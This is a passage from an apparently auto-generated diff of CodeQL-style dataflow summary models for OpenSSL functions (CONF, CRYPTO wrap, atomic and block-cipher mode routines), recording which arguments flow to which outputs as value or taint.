True, "CONF_imodule_get_module", "(const CONF_IMODULE *)", "", "Argument[*0].Field[**pmod]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_get_module", "(const CONF_IMODULE *)", "", "Argument[*0].Field[*pmod]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_get_name", "(const CONF_IMODULE *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_get_name", "(const CONF_IMODULE *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_get_usr_data", "(const CONF_IMODULE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CONF_imodule_get_usr_data", "(const CONF_IMODULE *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "CONF_imodule_get_usr_data", "(const CONF_IMODULE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "CONF_imodule_get_value", "(const CONF_IMODULE *)", "", "Argument[*0].Field[**value]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_get_value", "(const CONF_IMODULE *)", "", "Argument[*0].Field[*value]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_set_flags", "(CONF_IMODULE *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_set_usr_data", "(CONF_IMODULE *,void *)", "", "Argument[**1]", "Argument[*0].Field[***usr_data]", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_set_usr_data", "(CONF_IMODULE *,void *)", "", "Argument[*1]", "Argument[*0].Field[**usr_data]", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_set_usr_data", "(CONF_IMODULE *,void *)", "", "Argument[1]", "Argument[*0].Field[*usr_data]", "value", "dfc-generated"] + - ["", "", True, "CONF_load", "(lhash_st_CONF_VALUE *,const char *,long *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CONF_load", "(lhash_st_CONF_VALUE *,const char *,long *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CONF_load_bio", "(lhash_st_CONF_VALUE *,BIO *,long *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CONF_load_bio", "(lhash_st_CONF_VALUE *,BIO *,long *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CONF_load_fp", "(lhash_st_CONF_VALUE *,FILE *,long *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CONF_load_fp", "(lhash_st_CONF_VALUE *,FILE *,long *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CONF_module_get_usr_data", "(CONF_MODULE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CONF_module_get_usr_data", "(CONF_MODULE *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "CONF_module_get_usr_data", "(CONF_MODULE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "CONF_module_set_usr_data", "(CONF_MODULE *,void *)", "", "Argument[**1]", "Argument[*0].Field[***usr_data]", "value", "dfc-generated"] + - ["", "", True, "CONF_module_set_usr_data", "(CONF_MODULE *,void *)", "", "Argument[*1]", "Argument[*0].Field[**usr_data]", "value", "dfc-generated"] + - ["", "", True, "CONF_module_set_usr_data", "(CONF_MODULE *,void *)", "", "Argument[1]", "Argument[*0].Field[*usr_data]", "value", "dfc-generated"] + - ["", "", True, "CONF_parse_list", "(const char *,int,int,..(*)(..),void *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "CONF_parse_list", "(const char *,int,int,..(*)(..),void *)", "", "Argument[0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "CONF_parse_list", "(const char *,int,int,..(*)(..),void *)", "", "Argument[1]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "CONF_set_nconf", "(CONF *,lhash_st_CONF_VALUE *)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "CONF_set_nconf", "(CONF *,lhash_st_CONF_VALUE *)", "", "Argument[1]", "Argument[*0].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "CRL_DIST_POINTS_free", "(CRL_DIST_POINTS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "CRL_DIST_POINTS_free", "(CRL_DIST_POINTS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "CRYPTO_128_unwrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[*3]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[4]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[*3]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[*3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[4]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[*1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[*3]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[*1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[*3]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[4]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_THREAD_cleanup_local", "(CRYPTO_THREAD_LOCAL *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_THREAD_get_local", "(CRYPTO_THREAD_LOCAL *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_THREAD_set_local", "(CRYPTO_THREAD_LOCAL *,void *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_aligned_alloc", "(size_t,size_t,void **,const char *,int)", "", "Argument[*2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_aligned_alloc", "(size_t,size_t,void **,const char *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_aligned_alloc", "(size_t,size_t,void **,const char *,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_aligned_alloc", "(size_t,size_t,void **,const char *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_add64", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[*0]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_add64", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_add64", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_add64", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_add64", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_and", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[*0]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_and", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_and", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_and", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_and", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_load", "(uint64_t *,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[*0]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_load", "(uint64_t *,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_load", "(uint64_t *,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_or", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[*0]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_or", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_or", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_or", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_or", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_store", "(uint64_t *,uint64_t,CRYPTO_RWLOCK *)", "", "Argument[1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*3].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*1]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*3].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*3].Field[*data]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*4]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[1]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_aad", "(CCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*cmac].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_aad", "(CCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*cmac].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_aad", "(CCM128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*cmac].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*cmac].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[2]", "Argument[*0].Field[*cmac].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[3]", "Argument[*0].Field[*cmac].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[3]", "Argument[*0].Field[*nonce].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_decrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*cmac].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*cmac].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*blocks]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[*1]", "Argument[*0].Field[*cmac].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[1]", "Argument[*0].Field[*cmac].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_encrypt_ccm64", "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_init", "(CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f)", "", "Argument[**3]", "Argument[*0].Field[***key]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_init", "(CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f)", "", "Argument[*3]", "Argument[*0].Field[**key]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_init", "(CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f)", "", "Argument[1]", "Argument[*0].Field[*nonce].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_init", "(CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f)", "", "Argument[2]", "Argument[*0].Field[*nonce].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_init", "(CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f)", "", "Argument[3]", "Argument[*0].Field[*key]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_init", "(CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f)", "", "Argument[4]", "Argument[*0].Field[*block]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_setiv", "(CCM128_CONTEXT *,const unsigned char *,size_t,size_t)", "", "Argument[*1]", "Argument[*0].Field[*nonce].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_setiv", "(CCM128_CONTEXT *,const unsigned char *,size_t,size_t)", "", "Argument[1]", "Argument[*0].Field[*nonce].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_setiv", "(CCM128_CONTEXT *,const unsigned char *,size_t,size_t)", "", "Argument[3]", "Argument[*0].Field[*nonce].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ccm128_tag", "(CCM128_CONTEXT *,unsigned char *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "CRYPTO_ccm128_tag", "(CCM128_CONTEXT *,unsigned char *,size_t)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CRYPTO_cfb128_1_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_1_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_1_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_1_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_1_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_1_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_8_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_8_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_8_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_8_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_8_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_8_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_8_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_8_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_8_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_8_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cfb128_encrypt", "(const unsigned char *,unsigned char 